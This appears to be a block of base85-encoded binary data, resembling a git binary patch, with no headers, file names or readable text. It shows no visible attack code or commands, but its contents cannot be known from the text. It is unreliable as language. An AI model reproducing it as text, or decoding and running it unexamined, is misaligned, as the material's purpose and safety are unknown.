z{STs1=K&bI&p7(BZOj{*rfs^`+o!`ST`4frRu;%DYinH>uo(3`f?zH9y(UXR+({ z5Dd_vrY7wOp;6Hm--r;Z_f_+(<7D%fY7#YbymJIdDru?)SwQ|C0lI0L;y9L@Bl9yb zyj6x5Beb-is@u4g!JdgJ#!3CR@k9oLE1n_Zv`3}L6f2yt!{84eKR>lI#eDUU(}8(J zFy#X&;Cg||d|f%G@-U)7uZFwGOp`&kB1KfNMNUT+MjmO@*J%3PHq83f$c%~s1eSF# zRoRKuM=x@(JX)D!6Oi06j*TIFZbI}-bH8BFI8AWK)NGSb#K37{6$JJdji*%M4pqYg zuhoxL3e;M1PwlAVaKym{H+rHc{m}FuzE~ zZak>_v_lT612&c$4QC5(YLT5L8`hUHO=*j84i83VXS%VFK80~`9_*n3({I!9)))JD z>h_oH6S_~_7CiW`#Cg3FRa2$__Ynobi?t|^we4v*(w7igEg}porkDT{b(@$;QO@QL zG7*c$i#+qm0{hT`RXcUA6AWq(g}nv-?wn<^(+`SO^tQAF`>WLw8`7%AKs?K7wR14Xe9-Fe6pg)IywD|ML*#TF(j}^{L=SrsqI!v`g+SG$ z=MY~aEO_p$IkMvZEqa&W_$3Ag@U%M(9cy2n(=y|0X63Is{dXwQrc?JK^HD+?5di~0 z)*8B>*wEznj#_BaxqiZvifZNR2OoCy#nZAG0XKBvj;tpr|-!JiSR!#qRD18`wC%fx2Z#J zC9l=mGeeQVjK%b`(*fa_b|&Pd(;dbeW&yD*!)E7u`75<|u@(?&{~~Q&tgVZ*eKC;e zx^l6$FVbQ3uCEfygG(fnJl~tRibVaiqLeRD-I7BKG6ToRFJaI~)C?Z9NQm4K>8P6; z?p7NyN2|>Z7w9V*0wef`X&l+YW;9Jt&*ZWC*(pC1v>(AlIaD74D7L2xl@h!uQrf1# zI4aQiL@sb7uf2sjY!UiSla(p34qNnt?mePfY}KX5^`H@4>w!+tsS969;qXKdRNkqo zx`8qmSy=cC;HQCprs`;c9Q6z<$YoiV&55btPNtiu@F?&ym3h0uG@RP;$X#52a=Fl2 z{^&1>YD0_P_RFmj=LSsO_9IX7%X#H=>sTE=p-SdptXo`(sZ6r;E%1PNBWa(N4THlH zf0?qdy%L4}iqcbk&hNDL6s7bg$1tuofhMrfG+tKDkZpN`?jt)|TGSe``T(MH^b{j_ zR+IWy(PO9#hc})Q2!QUQ!)CcsnF&knBnIkPT|OmQ!;(2Ae$3~{NZ1H#G87Or{zFfc zuPWBw*mZ|^&?};8*S@@s3k}YiSTLMB6cAUlthrgO=6TWnhF^36G{5l z!Lo-6@l|k*V*3$S0Olu-71%RD$%WerVo#Tv1FI_-`uoaoK8?M2C9Y0fn7CX4%6Ig> zz&fo|E0VRmrz#FGdstXJ3IJ@06A39iq|x-?9=0XMcEOdB`dMS;mxjJhVWkoqlmmxg zu)GJ@q2RUjBFn;&PslvHMaSe5o;LpETv{(aGyaxi@mcgHn9Fj8^u<3?z=ZY==12Y| z@A3C!l1Z=p;|c!21adg?o^dStW%P}F>u}-tJoYx}i<}Li1^<%2-EH5;zqFIT`7OIW z@BE{O|LK$5Klf5UCkhzjFQx^*;V*szwleo3e_P2&q&N9XUeWB^EW0oh>T-Al# z{`}13M`ah5j;gSNxp3KqEbwHLF5pxlVT=5ySP zZh>KqnqsxG=m#-8g}icBh^G!<667+%$l8}Nfqb*0P0CD{tSq?gY`<189EDWlvHgRB zkDRAsPY1E@k~H%Y=)d@J#)~arXe=V*SwqE3(31+XG*BCQ~Ba$djP(ya1aO^JXYD2<%pyVmhvN8U^Icb?7f0 zkW5nSDha-`(EnP=*h2`Wr0SnFQJ)c4SdB5w(f4Y#v!RuQ-L8+qZgJ=lgJk{7Hnt+H zWV{AyI#`Y?`T7&wHlmzdvrLhkR$};&lI#(?T-ELv`=GRM_t=9}`+{u%$pVY69#6FU z&58&DcYpf;z1+@YxY0R}p9+@wYU|60QQGFaoc0gINO`>ZMSF}np^M0$l$Tv-ALRRX zT312y%9|6+KCj>I!}c718qbD%qO-d*F{p-zg(~;OP=zk97Fg3Ywxqau*0K6I3$z2{ zB8?D(cY>G3qifL;iiC?cU>BwIiUTrFbCQ@nSN3kTOtS8Vjqe~*1J;6K-y$GALdvx& zhVhxGr|C{%uM!kOFoTdVDmbSH<8Z$Y!vaSCxAfq61fn9>fHmy9nXKvY@UTgc$&QiB zFxHd*BHf%5ZwH&ypLC+{SRZNsv;IZj6%^UFZq>-CHu5S~yNhi$M#6&el(3Li5}2@% zmB9$oPQmfcSN2zMc~ceYOXRktoq-daM&|N(YcWg7aRK^v$!am3#!`HfaP}G+Nln&B zo8Z&5GMS^gxc{MlWuX*to_MofVo$$SM|upvk)~J=k@W^I!ljc%pt)ZgFW3drS`Oec zd+`$BYZyG90jJ0wCG^|{qvryyG=mvRs+!J-@8EPTS{_|(QR74|$AR`xNJ71it9~Y`T&vXU+GZcBjKSk~E$Ay9Mu3casWg<|*r%Fb!REYN5eQVNxsluD= zK|WsCB7RUAW~ehkNRBK85L~;^j!8>Xvr^(cFj*j^Ou+!1Mj-9|lWo0ZyMMC7mu&k_ zw*8X5xXEs8v#KxK)+@IAvK_u++b`SpEB4|ByWEr#6*pyN*-^ay)biY?fvfwBd$@K8 z0<_I0z!i1@*Mf9do%)$dTi4pn$5?r>dxNR+WrzMqS~|fm^2Vk4uIqcso)_ zS2{dHsSc#oXnr4}S7TF)Zg{5oc`Jz%9XgsG*Q&28S~!42(D0{o5_=O~o$qjW%>=bD zX*>!ErJH#mb5K@fmm7H(&ssyybaMZK7g*5G#}pg9Tl@%Wt^~A}4eK?M zVHtT1N!}-}MW)0;l#^1Kzw5+^9_561>@y`nG8%f#L=q*?mKF58IxYR2tQ;`gb@Czi z8c)FzX#Fd-TBpsg>dbN!UN@b}RHODv*LcG#c@G85%(AN1 zTh?Tpy6-3_*Ua?__?Yfs(F}o8{YfU)YI~g~AR|~#=^E-l2i2(kg-X4xLNAr(6^1v) zJT!NPnN`^V!)mv7W2t3XaiO_5GX>?aF%5dzT|W7U&$->Y|M#x@J2(4#*ZQ3sKF=KV z5P}IbL(CHvW?fHice9ha+_o;kgaLnDk3>j8u`K0Wm{cLburagq9B2HPc%F9i7m%X6OIjPWzxe141bO-v|N*v1s& zC5ri$>v#>Fa5L;pt=KIli;9kfBWLC~bCPjdScI)4x_>iIl{3p!^_&=;lnbGI!Pp#T zBz9fsL68d!fH5|k%dWsuQFsgC4Xc%9-QyBEJz!ODGlN@A^A6Me zw!8x){B6_yp=sY^=7`!0xG;4d?Nhb4msxUGr$Ad!NBC03s0Yk+ zMo^Q*P*O*nYYIJpk}}yGmBdUlSK|A984u^6!l1>s?w>R5gFGZeX6%990Wh8eO{Sme z`B+A)n6(Lra$2uf=^Iq#dS%_fbC+v~T_a`XPZev3dlA?QWA(try5S;Sx>Q@|>B3jp zZFTTpePu<*8_ z@n%q3DH&6^%`6IBMJAh1H3YadPbGwES!^*_TZns(|!gHl0~>NQ)XC7dEr-7 zhH^pKePAI$s!T=5CA3y}h9U`lttu?WC)JhD@kbFWlb4y7F4NkXJfDN~DGKn|O35nj z+7Omq;#?cyFolqEZxxmPUiUKZP)o72N1sX$)=RmH=P2<}5B z2pZr~I%J-*1rk*sGB;a1r2U2#Dy9o)McPvhgf$wQP3y~sk+wEjMq!Du*&>t+QA!a^ zm@O*98gI6s_7VeGQ_3hDYizLq2+m4jJ`5lP?6Hh9seBnW$;o9-#?r|ix_X1Tij99w z>FAk8iL&R*3QnWBYmS(n6kelrKT7sooS1y(nV0#i-7=BPhT*}eWIR|m8`^%o-rT4< zj40ufIP0Tmku3_N24s!&#sV32512+NXB^KGuxz80GS0%@em<|#&cJtVMSCX&C7B8>m@uyc?6iC@xjH{l~X27?yFZrKc5(HtXYUIOel-U8a@K+k1AkEPZ&q*m{H z+ISvm4!m^&7(DGXn0TBiCc~T$&}iXdK`_Q{w{p9ufm$)s#ex*^63Orpl1%UbM0?!# z6{e9&EQ4-R=1OaUVGxHVWw>@%iFZ!0i_|iU_hG{$vg<4!d)ApRQf+Jv)OtPwj5w0f zEeFBEnIijO7IkZSJo<}c1B-N_mNhONYj|&ICWLfS zkgyL#2_yX!_#25l8BZ=S>lPASQRpPyGD-4CxZpqR%`#=R-3D`t3$0m z6FBn^aoluRsK>W1Mqs!>gt(==dSbb4t=32C`NWPOmsPCGDcEZt>>R0}?V~cfBEpS{ zn3b}2H;L(!b@d&y4cZJ+7QuVKF}{l0-X9RLZW3}p6f~^J8N(opJeCXw3v$h1T4I4D zV+t*-h3+tl4>{;zDV&TBA?OHZpK^~O+XYQGoE)t@u1QE~kfMqO509nb_IftIB*e@| z2ne$oGfbnOm*cZN&bESJ+u4M6rh&vuhgr@s1@;hw+C!%GKCWQT`k@ow$-4MXrW@YD zdMC9AA(wbL9#<=Mdw+;!aCa~L8WYIY1Ajr;#CMJhmw{n%D!mQIvWepIug%svlPr|pOUsA^#XU@@dN{*C+TjX0Xm=ieG8&ejQUGp5*wnWr=Q^ zyGgVLut*xLPdqLflR`n zSPC?Ypl)`9MY#k$14VYCag## zq73xscD%2AM&DxT#S-dSAXn;aAV09(L^AH6D41&Qp1k)P-bE6Uz*WWkl9Bxx&Z?aX zsSqOj9?8<+jtB8-h9<`{lwgd#TuCn-^wMm2`y1bjJIS;VN0B7z&A>N?5beDs;(TgX}~)ekH*^`8;+ z=nUu)Zy)T;?b`b*R<4pxzoPs-(z|Qjob`u->vi=^s@dAVx4ma=`*~_)L?Y~v(qFah zUcSz}ue@_?7T*K5_Y*n8evZ_4Ia7JRJQamo8}ngo9lFS*nU&c!p~CR%`!lyRzBt!K6ADpIMD| zVvc1T65G+i?2(|gM?*DUvz39RJx#xC>fb1{$JvLp6a}6%=L`T%gSW}oFR;6_%T7>> zNG!@A36t&M%(JsN#yqloy~s(Kc5~iJmnuS?=0sw+*QsEL2v+T%sVEGWvZ0|oklXan z&0EC{w?&_rw63%V7~aoq<3(4fEWW}fEdD5)y5$rk{Jc)DgFz8T#4Y#Zlk9Z%(*8u> z+&{jNmn=0wZscl(I{Z7OdN4;WSIsV8%RQWHsY49oagEP5!7pC(ilky-S=kGdiuZuR znv_NT5~~u}$gEg-wcD3y4q_X#XGbQT$vlR@?1o3=!l zIc|Ern~DoUu}del!Di@FEzUeb_7duG=|91H9sr74Wr-URyI3>pw1z6)%d6eR8!eM?iKUVqjJx*D^FTxcv$nORzbv4S%M&l;jjpbun3CKP8YPWz_6iiVU>H| z-}t-NrpF?+iF=8Ak231TNveP0hR<;C>8IW5Gj2X>Jx)<)`xy|($1$7xbnvp9`n%W( z5Uc+pmYQcNotu8f)xUDPe(h%e;aYFF79cwlJsq~*sy<8xq+W>)=ul@^yJSYUo5Pgla7^{7BPac^9UK2#=a^riVPFfYh z>>tg=tw4)E&fE(PPmD2H(it&k;3v7umxOrl9&hP=UiMxucc16o>zVgqVB(=mj;*Yo z24>?D3^wf|g-fDtiHbHE@j!jJv*;0=EtWiJ|B8;=E6un~GB+2WG=ur?84vpv-4(Ps zHZf+)*cn_<7JbPxD(Y40 zC|pZa?a@Q_U@S8%jzor(5gdqEo+kRi(t;w%j;$zKdwkx?Qh3TH_wYhEHTyKsy;5AaixzgdV4SOBhU+RCl z$s_QyWl}ekMB%7}Rw0l67uXGr=}KCq(_ST?PP^&Gw8LK$#Sc_6r^k^K2O}4Gm=?a~ zK`El@HrV>Bn*Z{BkM$i)4K{Y@n30^E%-*jkSV-^(UG1wJ872EqNtbb1((Q>$XvI+{>46MbkAmiEOVOZZ(?#;@)Mdcq?eFHf+RZbQ-Fe1$Y9}GVT-q`#b!0mo!mj7F$G9r=_l$aBQ z>=(=|?q6JJVM-#!!;m3YIimhX_QC})d5#vXBaFZ|-nGc6 z6qTVnny^(PSY)ilb2&|7cne~WppdG3AA1HXMsR>}hJAoxED_l@Z7nr6+1symF&UfD z*^{E)V*3fd+26RFJ}Vd;eY*n8CBMCiPExxGF#Z@-Hd4#uHDO<%lZqAlC+%80`S1<3 zkxeW0hSktpepB&wyEgu!T2igLo65W%Dz})=+>E)WxmTNIPcbKxt2|^*)K);i4Z#w< zW)H4lJksfsoiZV|=Vww9_mDz(3JU|^%Ax_W5u>^3PZK|a-JWbMgjCN==Z^0^P9iq& z{^B^3s@DJR<<=^FlB_Z@@MB;U1!T|O6__1DGlzMz$;a8<&X4p?nQ0awKBm=-o!l*2 z`IbVqC7orlj0RnqiR{IaE;5Bs#T;wsP+sqg4k-DFTZKoylVm);YU-_){(=N=wIDxz z8)51V3l;xOfC^0LAsa+)?<~`{{V$k3aAc-lGb2ZCo{8ij<+?CPvCgpl;u?<2o&mBC zQ}?ZTFbkK7;>JNpoEtg|+w5*2#Bg)*b#mqQ?W)J5u!eve9&8cI(!?ALDSs>>&Be@dwpbEL1lhTd9VKa9L z1auJ=SXbKprJjzJJh)1smgeWxV0Hh%?wP8>#}zKjco_MJqP53ZbtAX5%f9cf)%_m`m)N9FOxjA){z)YtUf0QoLed6F`=k09ZOMT>lD6K(#nB0R zlLmmf!ASivFrEj66Sx7Mq}a2Wa5x--K#VqGs z)#`Vwu@5B!h+jISzgt-xba?nP&OGgO+SxKYV9;b|OI3{N>^fq&L}Tge_DjvF)t9Io zUK=MUcc@aHt^+$`gItC1nQ3$g@QBp@+So!zx+P7FqTLjH+CE#^8x*@U#i@wx$V`KJ zBJFG;w^;}}NuQuGU;h>~_zkc9(GdXf%(rzmOJ@YkuGpYT&B1@tNu%Z3j+e{LGe4wO$ z2k4A@IEu;XQXiKXFL%&uC6uzsUFL03?rdy+p?9de${TP$-Hh^_(iK-Ut#Bdsxpr$S2f1-+qJ%CcSeg(d6ok?WWBA9 zy{}k|`3uVsBGrway^g>vu&zZOYM{RgVs>DMF4%;WyntC+x_BA;oO^?(ukqY(dUjCE zR8JSzm(H(u?b9(*B*xI^G3up%$1G*HMkcP?UmJ*EfQqkTGHSOPzvX4_^1?ek{}I*r zQ{@Udc3AQ+I3Fg6^EW43ZaxPq*n4Y~G}2YHb&j1o*M^r92WXEW`a!V=<3W^f zqj@aC*oC5U55IdszP!rh+@tyM zAG~&A`oi&MS&zC@7P`Z>p3&eXp9QXlBvKcwGcYCYhjERdEwn1}vdlCuH(6|e=>aVV zD%zY>5FSpX?CF}F3wuaXaaIrBpG7n}JR}mG_oQ zmEWTnEJbf>u&A%0Tg)?*bGSW%;9MfaC86@6sT`baD*H3;Q3$q0J*)2#`fMdSKlyN8 z{m7+CB5+bA)I1jk(7~6b{!l{YiBS0)e)a~x z@GMaa+Ze)A?vAq`F6(9P_tOvg>A$%J&MJOrRp*^QyWNktt!MhdS$-o|d(kS`-YLHS zzL!k+`z30ISgK*YVMkhDMZ$s1=WCQcME}Urs}U|U@l0NA{?V~|41+S>%)}l~=R} zKgK=V;83l}LbE|C)&9KH%wR^#f-#shH;Q8XAd^{*W7T6E6gY5kCz`Hldg`wAuKq=l* z-)(;&@a_-#T^lh!^=4rHBhb5fyW}v$m1ei25;R3;O`BuRE!`K4AqC259B1(h?>>AE zo(k>_%=;*ZjZ;o!hvh(N9)^fI0gK6qT8QQ?<>wZ{ZR7H>pW-{77#iQrh|Jaxv^gR_ ztzgS}AD1H42XO-O3(v|SmK=d8vtQW=c`1VBcsi^NG)EIILRn0YzD+eLR;_y5RMs<6 z*-XkT`)T8S0xHz6!qjSQ6~7ibU9ck&6$j~@88?=lgd@~>egTfMhc^w*gIhiAHMmQRZ>EMH58Iy!!{3DFGoc;7<4EF3 z7Rw^pNHj4I^B^8{}4`lF?9bJ9>J{Lm(a+Zo@2qloT<xPwiI86U4MA>{e zTw)j|@yHJ5W=-NintWYRVAly>yQ21B=xz*~SCvY%Eg4D3Bqh{DY7@pK+qzbS_z)~i0OV?;_DRjGxt*OG>VeoF~Ti}4< zG{&lgq7lhDXQw8en{v-d9mx%Rf?NlWc_q;y4E^t6`qWhTM%Wck_&rhSC8euf9i#VR z?8orHnfo=}tzN#dzoYSKHHrR^jXx~o^K==gDt%Mo$!(U6!lU7^9kz1#DrH{@57cczuRp=C+7|ULgi2jO(H}9a zu04y(N8)8O7j8;#?9pqkNUWRLqoL_qHGyV~Vf|PYTJzJ%uWQ#;r(i9?YrwNc;LBL~ zLtFPLh|iwn4HDR9>oIXgY0ccAtbHOkd#gB(r5vld)p<_*HLsiLq`kvTJ{+91VbY$f zi|*Q~^=&|9=8)ed#-)hjlbsx592gd z{IT1m)zj|YKXO|x@yts7kXydO3orM=CtdduSD{{sao(8?o&-E`npte`BXl-f%Wm)H zKaDl+a{8mR6Dm)yhInA`t<+&9{_21Q|W5s1oJUHs%J{z&m8#1;3Dz2qD1aA|0+97uXhSXih{%=xbb5 zfQpIlSrz_~SyfsYwCcPv`6H8lGjNXTPkPFe3NJ!&OP2+7qMeT(p1vVVr2};~u`M`P41u=d zxzZdW4=aMzk+1hPW{O5g-(4H&X0Nf+*+}z}Vk|rFA{Ab!u*An)DL95uwETaiI;*v8 z=a*|!0nwh`lrK)E>t#E?R4cDnYmWUVR+Od+Gk_-p>{R+(6P{6Fg@1{nmZJ z>fcze$;Y04cUZ92H?d9$-ZI(swkeJ?D?TulHHbZbV)autTFpA`bv&l>-)EK_`8yN; z)?{BdO>}}~zcuBbsu{XreeMo9x~}COoc|-<%cHofbqVIbt$qV=`uHq6j_jbSz*fh z0Ax!Nhf?^DvsmSqV6>BlBg7s?jdZTX^N846&SOYTr4}31JwsgCtOhq0HqzEc8V}`P zhGC`s5U&*k%UuW`GZ1tDod_(N7msttN|@CUxX(E3A}|eZJgu~OLe@cj(iDlZd{9zrn*akK-oBr@cM>gVVOd@d;4F8vS7LuVp{ zON41?qIqp-7zv~B>abY_SWHtqO zn^obcWTAfAKAe7vDykQ3TO*Ad>Gz^foEW;`9=xxTJ5r7GHt%^>U%PYXu-fD!y>&Yt zY1fVA-}7&Ovu^m2_5X|`qjkMUy6dW>Rqm0rh2z~xyScCP$lAKTBh%}qQ|4bRH+6EN zg9{#4Z1(1gHT<8`(|dzOxAF0QVw zn??ccTsxM>uHfF*BTMTdp0KESRH?JM$TD(hY0i<=b%o^Lv#t-@45Y%U;tvCsyYD6F zT0VmJVc7Y+>pkOE(&=j=`%P?YJAdS+e`M>skGnKdefNj1{c&UW5!e2-vHN}3{;aXf z+H{jO{|u87%q@-G$6a%4WA}&RORMcYZg8h-UbfLCQJ_06j@(P4%AGEf5_NGDeJiS7 z9C_s2?yB1wIW6^TZgpoq;HnS8=znbRpj-VQv>%3*`(6LOBy&XRb(_1#t$Yxs$-bAB zt##V4nW49{o(oYggk%rlp+(IBet?MTU0-ZekWsc^o{}DwMsV!sOiWnddD)R2e)foc zU$OCTt$N9-Z$yR~y=duOep1Iqt)I8yiS7;`*ow8&b5j@)MHVz0{mQodJanI>Au2S} zNCefk`w7XjN#6IZof6I@@4=7q?zZLGg$3?tJKfW{o!s4;U3X{urfs>*s*SdCsVxuB z0H~XJ8n^KgKQ`sBDR;NRWcL*lylB+LUi4v@(=GJ|c{rnf$$c4rw@evFf-iGnpZku< zzhTsyrt+Fme>KvE>!Yo&@8Tv`;P5-G!}$G+BI64+6#s+PG4=OH5K(XKfx_TU0eWaUGOh$xUwlZ9Xw#?-LCM( z!;u^M?ODY?jVb!U&_I9R$GMT;)zp?VB0-yTMg1M`J4w7XX zsS^tbn3}-sc)F6x_f79gtI!`tNzo*%6-aK|Hl^oYrxcLAT%FzJI>Cy z6pu$K?5R#1Accef#4q3Fr`v44E3_SKQ#efIyJFkTHfx8o&7;-HcNI+^+mac@wwxUk zj5gx{3un5oj8+3;00_33s`N{U7$hx{KXK+%_NN6?tBi`u6n`d1m_Z7kwD&Xd^n@b_B!Fb~6W4>A}#$mkAs1p@7-s(h1YpTZHDG-Sf zmO!U4-g)n@sqhTdfr;1|s^Z#{RO<#+0-24a`fN24kMc8B4YC}Y#`L+W^CEE1gwWbe zw|+y-IZeg$;su4-c#2OeOlE6RWBZb|ZtcSjHY7Nd1!TR7K1#;mebia2rC9k!6At_s z=gOc^$(EqyYVTkqs{nIj<-5QieX1#84EP7FpV!$JwEm55EkrHpV!EYadHT9|sK9mg z!Mg6DR{(ujVC`i-4MjdW%sJ$LBJ ziH(dy&i2MScC%$QX=YVv-6}0}EQ?xmV{vO`rD@@~oTLNmn%FE54plCNM$b;yyL5xkZX^xwKskcz{vv%G zN5XX;|04gxoC_k9fWmSh*KW~0*zeHSUk^l}{EyJSgWWh|`ZR@(f`#Iy zm3Il};pfFLeE|&MNlG}cHru9e04CgVjug5N#kA5W8=z1~$;hL92S!?G&!ZCBb9S3t)0*%9t+a|Vo2nIN0 zus7)qi|eADZ`O^7{Tf4fAeC&VI`&QFybV%s!S0GWKMrDx$7K<1jpGp4hX=;?KS1|Irs@_fMg>MUkdUj7E|aii*QuFFPa*xr$WGUuTE#3 z>rs`K8vbb;)K!UItLE6sG2KUFr`F!0kFFh~tKNkwx=58TR0GZ(>9SVmdEH;fZ%tj8 z4ql?##V51+T(@?U)vx*9CF$tmbomnCKyt-~to#2ff*Y0bUB3?7cDb)%p7SM+l8T~#;q+fW#>uiTD&IhuGWvH?Dta9qiGNDDb(5M z97wugg9KZJVVca_FJxa!J)fniUeE6H8t~@!*%XkQr>nKdLwmi!;B)$O!RKr*9swg* z2vXYJ3$><+33f6J?eQ28gz=^fxaj~Z{bfwr=3!=v^?5*yaO%w`qkPmTLG z#9_NTB4!@y_CY-u-4IzW#$0|3CM7Ey|Njx&muYH8gy|*yu2407YP#Ok5NuAh2+64w zKB4G^&oyxBi}X`EKONuQQVP9?<2;+fVG?l(19LM%orWr{LsA50r;>%oQd99#YVfJR+b8m)5eZq1QL8Yp1gJ@3 z!k((I>{qyGc+3XTxp7`~Ajs-i!-g7Qe?b zQziirfGs^&A$MjuFj0KI@-I+T5I=(nT})9jhAswYLlYmeinceC@X*6)$xrhh46-i0 zCl*7Whk<=s1FDcf_+n{d9$=JExgob`$TJ2@c@9$1%0+6LMGDv9w!24zGSty?v4B2( zGeeJlE$)9pL205@Kcz{3t;s#5$vxZC&xh(8_+pgbk6mvHavzjx^{Tzu=+ZOze8iJU z`gG3BwYN*Z_WBtVAYdT>1^G$z8M-IrNm8%Z)yUVlSFP8#VI!05c#RY@724@`<7~n! zuZUbON5H`jJvq~a>@LsLAaZNexyb3zwfZc9?Tv;yuHi_vtKJRl$E9L{Cc-ylIzT+X zQnyaps4i5O$pbg34oQL3JNjFyKz}KH)L-^+9?Z1a9MT!cc%hOm&tSNzN>^sQ%QJM4 zYcpQhF!cLw!^Uqm#@QqEfKN7e@=lI(v@OtCN{!C4NAljAh{JV@JbtrkdWcvA&t(e3 zqpnsxJU1q{>#zo8hRIbznJoq8dPi|rNOTI=uRG^u>z{R_dT{71cD)6yraiE*ZT{=Z zxgcA*jOP`;Y4n9Af04nxdiYz>w&!Fxm-MBt(z|iXPK02~v8YAE(k`0Jf)((3Y|{B; z5}{|f-qvtW(uJ-R(IyLCxzLlpnU0c0ym?`!=c3G41&}~`=popw7bqFwR0js6>*`CD zn*d6d5qff0UG?|rf62RV(4CF+aksIPZ=~5qy7X+#{QEOqn3aDEgU75`s1pcTfLz38 zKMh=HQG|1O+ui1t@M6Kps0p$l_`dOeVC?se>s2-z_dBKuZ{P13R;5{YW!zj#j94*` z+}WFvIoSOQIL!r_=4g*lM89s?6q`uFhM85&wg7)3!sqj4X5yQ)i1MXR->Z-%LU3SX zEvC|cQ@E)eqY+y7`^^!~Q6qtR4P)*t6NP0I#zilp_=8Oo;c`1ANi}=*EW>+A^RB&5 z2%?(PyKH9PjKiGS1wFzRL~j0Sh{UzeHUWnD@=thF#ynTs2h*}(WbTUu+Qx`7ck%;`PP;6z#gjsb!l;wo!* z^OvJsbPb%f$#O+90$}l~`hFR=$+y{&KJhsejI(r$C=NvM`S?Pf3y8=vDpeiqz? z>tEwq>>JfiN+cw|>G4K+B1!p#^fH5z;^ z)9xslOr)U!tKX`@DeghlI&G*5Pc^Er`Z2XiWn*H0E%X1 zEZuz;2WZHA(ky-sx(^yl$gRQIOZfDwy=0qPm3MlJJ9N$84iJAV>8?>-*E5PM=f| zrqV`<5F-IPE?42hD*IjD6tB2@3Joz@xUvx`W>G;t(x+`=Qc^`Skwnsf(xp~rJ7SY6|RI*qQt0~Sdt>8$yew! z&fYrP=sO$KdkLh|IHz(vb1y@552&IY!N0u($|`I2{&m>@%dqftxW`jr{s-ZXSS}&g zfB}{ca=b*TrV)DWxmxckxn+BWad6O(lI$KJL+|L$N1yT$Td?{{>8lf+N-y7iG;g~S z7x*&XK)H`G8${wck@xBX<}`pX^M)qP!_ee()t5++#M)$qEZZ+>)bPD@%sM|pTbt2L znz-~ptyK8GgMgIpf|@I2&ztMbi5CaTTV&=&^I5aL3B)5jFUIA#%@P|b@Y&Z<3Y)_s zPPWEt1~e5d4%gsO>Vf^p78f?}`=G}`ve{edL74kEmS-XT@zB3zP@v#@V;@(LsMdfy z{0gvv{LgVSJ7g%3Wf)s}fY(4y(=5t1U(fNYK`zK|^$^cp7kYMIy;A&deZT`Or8pTe zx09v3>{QyEo6+Lm54{rj$+5>f_;|dm+rPKv-A!_-43AWWjtru zvRv|C$;mzWFI(2kKf}LB2}MeiJoy)s^w08wXQ^dP9Az81#idJ=XS+);lS-xeN6XUu z>-$}#sZZo>ef~e~H#hE;bLHgT|6az{*A6}NlVx@ip|~AWth_hLgaLg9i`uqHwNb@% z>JW&%!^blIJGDA7R38N1`f%w9VdlL+T^2@tz~*fXm%ST!?;Bk*2N&JVa_<@{@b_t)h71h-$#|3%7kF_c7%Z`X&*{}!0% zOztIi;Kg{t`CHpBH;eo6=Hw?}TXTKQC2VmsLD}vzsAWXTG%2UVL(bQ(} z$AR~BU^pJY(rSIU`{RMTIS6>$)s_?y)5dV{p}>1Ed87U8DtV*t1l|M5@&5Kx91q?f z%+TKdB&E*wXGp2v4bq$IZ{u_HkoXGSS3l?)$T^Uf6PO$#4APwLUL?o!?Z^rEGJnbi~b#cUt<8 zKSQhA>NSsek6V4UseUAle2cH{sh1Seq<8!3u8)pV^6u}b^jnH6mtW_nKJ<9Xzrdgv z5sYzx^huX4@uSPb=*BR8T!_VPbX=HzFOZxo!Zh1gRlM16;?x;o>gPf9WFQwLmyweu z=NG`*1?gnVzT|9u&3l0qaz#ji>AOO%`j*}Bs8=Ox?5Yt(aY3{%&HfMtm|dp0cAb6GY&8O}PIa-1pp6heyY`(kMDn*%+= z-7c7lv_HNeom-T}+k9+(w7v;oO%ZJeX7eOO+r%7IC!xD%L0c-LRtxf|%cSjLx&x#c zU`k6<_yiLc7Gzzud)8|rAEtx+B96p5YH_RNm%TRfk=2pkiW9Yty3mfP@M@|@rQIHxlR^cblbH{s=k*`m&Q@MVUH=S~3*qK%>rB=}#I~Np%S;6et zvo@=3gL#?l$((O@uxfBSZz1dNBDg}c)PK`yWPW8 zgS*aK!Tz59UfjJry|={V8C+>r6+g0iwHR5hGZFkT$hycl-iGY8yf0c?iD#-!3R!8Hu zIDOSb`+(z|lbIaXGNTj9$zO^aW9B*qEpv%JB0St2(QpVlE4)HSE~D+ne4?H& zrS%3hMy$-&yN#9kI#*rW*bg4^nMD^}llzrSI>BcpdY)%b za52R&C%7$FxM9n+B?<6VfP3GjF9K@L(leYRs1y^mkXPp=md zrOzn1ATq1(cu@9b@TV^onaEfSqsFM+^*S=YAwZGi zQM7j>V3?}rYQl9VUwo9l-Y25fwwSYQRQe^2y{0~2<9aY4eWQvv^imkNAH%$$1|;;N znhekz^J6#)4w{J%8#qY=tgRR2Rr5Y2g)oshqx^*G2-{6ZOFJHXtuFs!cg!Pabp1pP zA2aNm9$Hp>9Zf11FA-~;2nX@tVQ z*|qE>MCZIWjQ6^cSKEZ0R#K(cOegT$X**mKzj8{e+j^t@i0nv6iI0&Ab+Te>66F6( zJU}+wZxN2mq_`p5keTaWq_F!nWVhLI=I<#x**pPrdk8$Xr?w}u5eo|9G*`_9Op5&k zh;Dx9(TSrhl$V;1-w^v)ld_-pn%OU7ucPLda@ACe*M?(tJN7baL95@XYH_#i@}LQ3 z*ZkpXnBQxAyk4v34fFa$kiKw)8Y6fS3$c`ubV0wn4U@nm%hsrQ6TPXFKFv<2^eNv} zQ$M!EY`xsn_lFjpk1aGQvU+{bCVwYWL zCA+5;VDI8!@D|A?9fdzUciR_~c?C$OFD^qsHr-Gv3tdqDL97pR*En3d5$ zd4N=Ys`5?&1ES3~Q3Fh{eFDF!#>$B@xKj)4rvWcU7vR}$0}>n08n{{% z3u>-qtLKKv{us8+4(LDGI5&xR=yA>h^AsQ<9s6#k6ahg43_Y_b=8vxnv8Z?Aglh;vmpv4xI!feos=7wJ*DeCR0tr z+U8<)Y!d;UsX{8-lv@ZBzDr}`m`{w@bi#nwCz7H3A-?}B%i^Um|4bv5{diewX%lcL z=*Z8v@dY+@scqUs<=bov@-4Mjvf#kh&e=1wLiVo>>{S5+a?Wz^AzR#x>_qMB3LgWH zGiRT0?}+{PefzG@@xp!FWpdALfxSiUS-5k!SdQ-q?5%Ph4WbrXWxpIIWVH;UxvgW{@bE>T z1XW&71z3mU6hg{G1wMR^M4steYsxlsQ3Q~NaAqF6AG$^wt%%Q!>fJ1enXiX+ME~Ew)JbfxDNSo z1%)c!B^8S;FvYH3wTkYNgsk1ov5V{K=J-;OnO@3BlvqYMZJ7UlMwHC)qZ!XjrFN|s zcm$$DRFX^@C^MUVawTr;4ODHh%|h|UX8)}pk>WwioHw^F^=I``e?h5nYH7XHBe8(n zQfkFtniMg&eU8dbcb>pQqa-#iP|{E{9Rh0Dji~@R6~;m`5buYIrm7nMupGJ+XxP!|~IHeHB%F}Wus2}C%S95~##b}AB1rfx9*+~8Aj 